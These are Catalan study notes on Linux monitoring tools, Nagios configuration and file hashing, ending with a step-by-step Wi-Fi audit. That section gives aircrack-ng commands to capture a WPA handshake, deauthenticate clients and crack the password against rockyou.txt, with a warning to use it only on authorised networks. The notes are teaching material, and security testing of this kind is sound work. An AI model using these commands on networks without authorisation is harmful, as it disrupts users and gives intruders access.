Monitorització de Sistemes Linux i Auditoria de Xarxes Wi-Fi: Eines, Logs i Ús Pràctic

Informática4,97 KB

Eines de monitoratge de sistemes en Linux

top: visualització de processos en temps real

htop: versió millorada de top amb interfície intuïtiva

vmstat: estadístiques de memòria i CPU

iostat: monitoratge de dispositius d'emmagatzematge

netstat: anàlisi de connexions de xarxa

iftop: monitoratge d'ample de banda en temps real

Comandes bàsiques de journalctl

  • Comanda bàsica: journalctl

  • Filtratge per servei: -u

  • Visualització d'errors: -p err

  • Logs en temps real: -f

Configuració de Nagios

Fitxers principals

1. /usr/local/nagios/etc/nagios.cfg
   - Arxiu principal de configuració.
   - Defineix quins arxius es carregaran: hosts, comandes, contactes, etc.

2. /usr/local/nagios/etc/objects/
   - Conté els arxius de definició d'objectes:
     - localhost.cfg → Defineix el propi servidor Nagios.
     - commands.cfg → Defineix comandes com check_ping, check_http, etc.
     - contacts.cfg → Defineix qui rep les notificacions.
     - templates.cfg → Plantilles per a hosts i serveis.
     - timeperiods.cfg → Horaris de comprovació i notificació.

3. /usr/local/nagios/etc/servers/ (opcional però recomanat)
   - Carpeta per a configuracions individuals de cada client.
   - Exemples:
     - client-linux.cfg
     - client-windows.cfg

4. /usr/local/nagios/etc/htpasswd.users
   - Arxiu amb credencials per accedir a la interfície web de Nagios (usuari: nagiosadmin).

5. /usr/local/nagios/var/nagios.log
   - Arxiu de log de Nagios.
   - Molt útil per depurar errors i comprovar l'estat del sistema.

NRPE (per a Linux)

- NRPE: permet que Nagios executi comandes/plugins en clients Linux de forma remota.

Verificació de fitxers en Windows

Per calcular el hash MD5 d'un fitxer amb PowerShell:

Get-FileHash -Path "C:\ruta\al\archivo.docx" -Algorithm MD5

Auditoria de xarxes Wi-Fi

Advertència: aquest procediment només ha de dur-se a terme sobre xarxes pròpies o amb autorització explícita.

  1. Matar qualsevol procés que estigui duent a terme l'adaptador Wi-Fi:

    airmon-ng check kill

  2. Posar la targeta Wi-Fi en mode monitor. Si l'adaptador ho permet:

    airmon-ng start wlan0

  3. Verificar que l'adaptador està treballant en mode monitor:

    iwconfig

  4. Escanejar tot el trànsit disponible fins detectar la xarxa Wi-Fi objectiu:

    sudo airodump-ng wlan0mon

  5. Seleccionar l'objectiu que volem auditar:

    airodump-ng wlan0mon -c CH --bssid xx:xx:xx:xx:xx:xx -w /root/Desktop/fitxer

    • wlan0mon: el nom del vostre adaptador Wi-Fi

    • CH: el número del canal on emet

    • xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)

    • /root/Desktop: directori on s'emmagatzemarà el trànsit esnifat

    • fitxer.cap: arxiu .cap on està emmagatzemat

  6. Desautenticar el client per intentar capturar el handshake:

    aireplay-ng --deauth CH -a XX:XX:XX:XX:XX:XX wlan0mon

    • CH: canal on es troba el punt d'accés objectiu

    • wlan0mon: el nom del vostre adaptador Wi-Fi

    • xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)

  7. Crackejarem la contrasenya utilitzant el diccionari rockyou.txt:

    aircrack-ng fitxer.cap -w /usr/share/wordlists/rockyou.txt

    aircrack-ng -a2 -b xx:xx:xx:xx:xx:xx -w /wordlists/rockyou.txt fitxer.cap

    • fitxer.cap: arxiu .cap on està emmagatzemat

    • /usr/share/wordlists/rockyou.txt: ubicació del fitxer diccionari de contrasenyes

    • xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)

Descargar

PDF Word HTML